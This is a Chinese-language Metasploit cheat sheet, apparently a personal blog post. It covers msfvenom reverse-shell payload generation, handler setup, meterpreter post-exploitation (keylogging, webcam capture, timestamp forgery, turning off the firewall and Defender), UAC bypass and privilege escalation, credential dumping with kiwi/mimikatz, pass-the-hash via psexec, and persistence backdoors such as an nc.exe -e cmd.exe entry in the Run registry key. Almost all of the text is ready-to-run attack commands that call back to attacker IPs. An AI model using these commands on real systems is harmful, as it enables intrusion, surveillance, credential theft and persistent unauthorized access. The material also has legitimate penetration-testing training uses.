msfvenom 帮助参数 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 Options: -l, --list <type> # 列出所有可用的项目,其中值可以被设置为 payloads, encoders, nops, platforms, archs, encrypt, formats等等 -p, --payload <payload> # 指定特定的 Payload,如果被设置为 - ,那么从标准输入流中读取 --list-options # 列出--payload <value> 的标准,高级和规避选项 -f, --format <format> # 指定 Payload 的输出格式(使用 --list formats 列出) -e, --encoder <encoder> # 指定使用的 Encoder (使用 --list encoders 列出) --sec-name <value> # 生成大型Windows二进制文件时使用的新名称。默认值:随机4个字符的字符串 --smallest # 使用所有可用的编码器生成最小的payload --encrypt <value> # 应用于shellcode的加密或编码类型 (使用--list encrypt 列出) --encrypt-key <value> # 用于加密的密钥 --encrypt-iv <value> # 加密的初始化向量 -a, --arch <arch> # 指定目标系统架构(使用 --list archs 列出) --platform <platform> # 指定目标系统平台 (使用 --list platforms 列出) -o, --out <path> # 保存payload文件 -b, --bad-chars <list> # 设置需要在 Payload 中避免出现的字符,如: '\x00\xff' -n, --nopsled <length> # 指定 nop 在 payload 中的数量 -s, --space <length> # 设置未经编码的 Payload 的最大长度 --encoder-space <length> # 编码后的 Payload 的最大长度 -i, --iterations <count> # 设置 Payload 的编码次数 -c, --add-code <path> # 指定包含一个额外的win32 shellcode文件 -x, --template <path> # 指定一个特定的可执行文件作为模板 -k, --keep # 保护模板程序的功能,注入的payload作为一个新的进程运行 -v, --var-name <value> # 指定一个变量名(当添加 -f 参数的时候,例如 -f python,那么输出为 python 代码, payload 会被按行格式化为 python 代码,追加到一个 python 变量中,这个参数即为指定 python 变量的变量名) -t, --timeout <second> # 设置从STDIN读取payload的等待时间(默认为30,0为禁用) -h, --help # 帮助
生成被控端 1 msfvenom -p 模板 -e 编码模板 -i 编码次数 -b 避免字符集 LHOST(ifconfig查看) LPORT(监听端口) -f 输出文件类型 > 文件名
windows 1 sudo msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.47.158 lport=4444 -f exe -o /tmp/payloadmem.exe
1 sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.201.144 lport=2333 -f exe > payload.exe
linux 1 msfvenom -p linux/x86/meterpreter/reverse_tcp lport=2333 lhost=192.168.47.128 -f elf > exp
php 1 msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.47.128 LPORT=2333 -f raw
编码 1 sudo msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=192.168.47.158 lport=2333 -e x86/shikata_ga_nai -i 5 -f exe -o /tmp/payload.exe
运行主控端 windows 1 2 3 4 5 6 msfconsole use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 192.168.47.158 set lport 2333 exploit
linux 1 2 3 4 5 6 msfconsole use exploit/multi/handler set payload linux/x86/meterpreter/reverse_tcp set lhost 192.168.201.144 set lport 5000 exploit
meterpreter command shell到meterpreter shell Ctrl+z
推倒后台
1 2 3 use post/multi/manage/shell_to_meterpreter set session 6run
sessions -l
发现多了一个 id7
系统命令 1.基本系统命令
1 2 3 4 5 6 7 8 9 10 11 12 13 sessions sessions -i <ID值> background run info getuid getpid sysinfo ps idletime reboot / shutdown shell run post/windows/manage/killav
2.uictl开关键盘/鼠标
1 2 3 uictl [enable /disable ] [keyboard/mouse/all] uictl disable mouse uictl disable keyboard
3.webcam摄像头命令
1 2 3 webcam_list webcam_snap webcam_stream
4.execute执行文件
1 2 3 4 5 6 execute execute -H -i -f cmd.exe execute -H -m -d notepad.exe -f /tmp/payload.exe -a "-o cmd.txt" -d -m -a
目标机器容易报错
5.migrate进程迁移
上线前
在set payload windows/meterpreter/reverse_tcp
设置完了端口与HOST
执行如下命令:set autorunscript migrate -n explorer.exe
上线后
1 2 3 4 getpid ps migrate <pid值> kill <pid值>
windows可以使用自动迁移进程
1 run post/windows/manage/migrate
6.clearav清除日志
受权限影响
文件系统命令 1.基本文件系统命令
1 2 3 4 5 6 7 8 9 10 11 12 13 getwd 或者pwd ls cd search -f *pass* cat C:\\Users\\secuser\\Documents\\test.txt upload /tmp/payloadmem.exe C:\\Users\\secuser\\Documents\\ download C:\\Users\\secuser\\Documents\\xx.txt /tmp/ edit C:\\1.txt rm C:\\lltest\\hack.txt mkdir lltest2 rmdir lltest2 getlwd 或者 lpwd lcd /tmp
2.timestomp伪造时间戳
1 2 3 timestomp C:// -h timestomp -v C://2.txt timestomp C://2.txt -f C://1.txt
网络命令 1.基本网络命令
1 2 3 4 5 ipconfig/ifconfig netstat –ano arp getproxy route
2.portfwd端口转发
1 portfwd add -l 6666 -p 3389 -r 127.0.0.1
3.autoroute添加路由
1 2 3 4 run autoroute –h run autoroute -s 192.168.52.0/24 run autoroute –p run post/multi/manage/autoroute SUBNET=192.168.52.0 ACTION=ADD
4.Socks4a代理
autoroute添加完路由后,还可以利用msf自带的sock4a模块进行Socks4a代理
1 2 3 4 msf> use auxiliary/server/socks4a msf > set srvhost 127.0.0.1 msf > set srvport 1080 msf > run
然后vi /etc/proxychains.conf
#添加 socks4 127.0.0.1 1080
最后proxychains 使用Socks4a代理访问
信息收集 1 2 /usr/share/metasploit-framework/modules/post/windows/gather /usr/share/metasploit-framework/modules/post/linux/gather
信息收集的脚本较多,仅列几个常用的:
1 2 3 4 5 6 7 8 9 10 11 run post/windows/gather/checkvm run post/linux/gather/checkvm run post/windows/gather/forensics/enum_drives run post/windows/gather/enum_applications run post/windows/gather/dumplinks run post/windows/gather/enum_ie run post/windows/gather/enum_chrome run post/windows/gather/enum_patches run post/windows/gather/enum_domain run post/windows/gather/enum_logged_on_users run post/windows/gather/credentials/windows_autologin
远程桌面&截屏&防火墙 1 2 3 4 5 6 7 8 enumdesktops getdesktop screenshot use espia run vnc netsh advfirewall set allprofiles state off net stop windefend
键盘记录 1 2 3 keyscan_start keyscan_dump keyscan_stop
权限提升 0.提权EXP建议
可先利用enum_patches
模块 收集补丁信息,然后查找可用的exploits进行提权
1 meterpreter > run post/windows/gather/enum_patches
local_exploit_suggester
补丁比对脚本
1 2 3 use post/multi/recon/local_exploit_suggester set session 2 run
1.getsystem提权
getsystem工作原理:
getsystem创建一个新的Windows服务,设置为SYSTEM运行,当它启动时连接到一个命名管道。
getsystem产生一个进程,它创建一个命名管道并等待来自该服务的连接。
Windows服务已启动,导致与命名管道建立连接。
该进程接收连接并调用ImpersonateNamedPipeClient,从而为SYSTEM用户创建模拟令牌。然后用新收集的SYSTEM模拟令牌产生cmd.exe,并且我们有一个SYSTEM特权进程。
2. 提高程序的运行级别(uac)
退到后台,使用下面模块,用更高等级的水平去执行bypass低等级的uac设置
1 use exploit/windows/local /ask
设置参数
1 2 set session 8set filename update.exe
目标机器跳出
点击,是创建session 12
当前就在session12中查看getuid无变化,执行getsystem
提升到SYSTEM权限
3.bypassuac
内置多个pypassuac脚本,原理有所不同,使用方法类似,运行后返回一个新的会话,需要再次执行getsystem获取系统权限,如:
1 2 3 use exploit/windows/local /bypassuac use exploit/windows/local /bypassuac_injection use windows/local /bypassuac_vbs
bypassuac.rb脚本:
1 2 3 msf > use exploit/windows/local /bypassuac msf > set SESSION 2 msf > run
bypassuac_injection脚本
4.内核漏洞提权
1 2 3 msf > use exploit/windows/local /ms13_053_schlamperei msf > set SESSION 2 msf > exploit
开启rdp&添加用户 1.enable_rdp脚本(高权限)
1 2 3 run post/windows/manage/enable_rdp run post/windows/manage/enable_rdp USERNAME=hack PASSWORD=123456 run post/windows/manage/enable_rdp FORWARD=true LPORT=6666
脚本位于/usr/share/metasploit-framework/modules/post/windows/manage/enable_rdp.rb
通过enable_rdp.rb
脚本可知:开启rdp是通过reg修改注册表;添加用户是调用cmd.exe 通过net user添加;端口转发是利用的portfwd命令
kiwi 使用kiwi模块需要system权限,所以我们在使用该模块之前需要将当前MSF中的shell提升为system。提到system有两个方法,一是当前的权限是administrator用户,二是利用其它手段先提权到administrator用户。然后administrator用户可以直接getsystem到system权限。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 load kiwi 加载kiwi模块 help kiwi 帮助 creds_all:列举所有凭据 creds_kerberos:列举所有kerberos凭据 creds_msv:列举所有msv凭据 creds_ssp:列举所有ssp凭据 creds_tspkg:列举所有tspkg凭据 creds_wdigest:列举所有wdigest凭据 dcsync:通过DCSync检索用户帐户信息 dcsync_ntlm:通过DCSync检索用户帐户NTLM散列、SID和RID golden_ticket_create:创建黄金票据 kerberos_ticket_list:列举kerberos票据 kerberos_ticket_purge:清除kerberos票据 kerberos_ticket_use:使用kerberos票据 kiwi_cmd:执行mimikatz的命令,后面接mimikatz.exe的命令 lsa_dump_sam:dump出lsa的SAM lsa_dump_secrets:dump出lsa的密文 password_change:修改密码 wifi_list:列出当前用户的wifi配置文件 wifi_list_shared:列出共享wifi配置文件/编码
sniffer抓包 1 2 3 4 5 6 use sniffer sniffer_interfaces sniffer_start 2 sniffer_stats 2 sniffer_dump 2 /tmp/test.pcap sniffer_stop 2
注册表操作 1.注册表基本命令 1 2 3 reg –h -d 注册表中值的数据. -k 注册表键路径 -v 注册表键名称 enumkey 枚举可获得的键 setval 设置键值 queryval 查询键值数据
2.注册表设置nc后门 1 2 3 4 5 6 upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 8443 -e cmd.exe' reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc nc -v 192.168.159.144 8443
令牌操纵 1.incognito假冒令牌 1 2 3 4 5 6 7 use incognito list_tokens -u impersonate_token 'NT AUTHORITY\SYSTEM' 或者impersonate_token NT\ AUTHORITY\\SYSTEM execute -f cmd.exe -i –t 或者直接shell rev2self
2.steal_token窃取令牌 1 2 steal_token <pid值> drop_token
这种方法如果不是SYSTEM权限的话是无法窃取SYSTEM权限的,只能窃取相关的权限
哈希利用 1.导出域内hash
检查meterpreter会话的权限和目标机器操作系统
检测目标是否是域控
首先尝试从注册表中读取hash,不行的话再尝试注入LSASS进程
1 2 run post/windows/gather/smart_hashdump
2.PSExec哈希传递 通过smart_hashdump获取用户哈希后,可以利用psexec模块进行哈希传递攻击 前提条件:①开启445端口 smb服务;②开启admin$共享
1 2 3 4 5 6 7 8 9 msf > use exploit/windows/smb/psexec msf > set payload windows/meterpreter/reverse_tcp msf > set LHOST 192.168.159.134 msf > set LPORT 443 msf > set RHOST 192.168.159.144 msf >set SMBUser Administrator msf >set SMBPass aad****404ee:31d6cfe0d****c089c0 msf >set SMBDomain WORKGROUP msf >exploit
后门植入 metasploit自带的后门有两种方式启动的,一种是通过启动项启动(persistence),一种是通过服务启动(metsvc),另外还可以通过persistence_exe自定义后门文件。
1.persistence启动项后门 在C:\Users***\AppData\Local\Temp\
目录下,上传一个vbs脚本 在注册表HKLM\Software\Microsoft\Windows\CurrentVersion\Run\
加入开机启动项
1 2 3 4 run persistence –h run persistence -X -i 5 -p 6666 -r 192.168.47.158 run persistence –A –L c:\\ -X 30 –p 6666 –r 192.168.47.158
连接后门 1 2 3 4 5 msf > use exploit/multi/handler msf > set payload windows/meterpreter/reverse_tcp msf > set LHOST 192.168.47.158 msf > set LPORT 6666 msf > exploit
2.metsvc服务后门(好像有点问题) 在C:\Users***\AppData\Local\Temp\
上传了三个文件(metsrv.x86.dll、metsvc-server.exe、metsvc.exe),通过服务启动,服务名为meterpreter
1 2 run metsvc –h run metsvc –A
连接后门 1 2 3 4 5 msf > use exploit/multi/handler msf > set payload windows/metsvc_bind_tcp msf > set RHOST 192.168.47.139 msf > set LPORT 31337 msf > exploit
CobaltStrike联动 M2C 1 2 3 4 5 6 7 8 background use exploit/windows/local /payload_inject set payload windows/meterpreter/reverse_httpset LHOST 192.168.47.158 set LPORT 2666 set session 1set DISABLEPAYLOADHANDLER true run
C2M 1 2 3 4 5 6 use exploit/multi/handler set payload windows/meterpreter/reverse_httpset lhost 192.168.47.158set lport 4567exploit -j jobs
生成交互式shell 1 SHELL=/bin/bash script -q /dev/null
1 python -c 'import pty; pty.spawn("/bin/bash")'
searchsploit 默认前缀路径
1 /usr/share/exploitdb/exploits/
其他 reverse_tcp
和bind_tcp
区别
reverse_tcp:攻击机设置一个端口(LPORT)和IP(LHOST),测试机主动连攻击机(回连) bind_tcp:攻击机设置一个端口(LPORT),测试机执行打开该端口,让攻击机可以接入。(直连)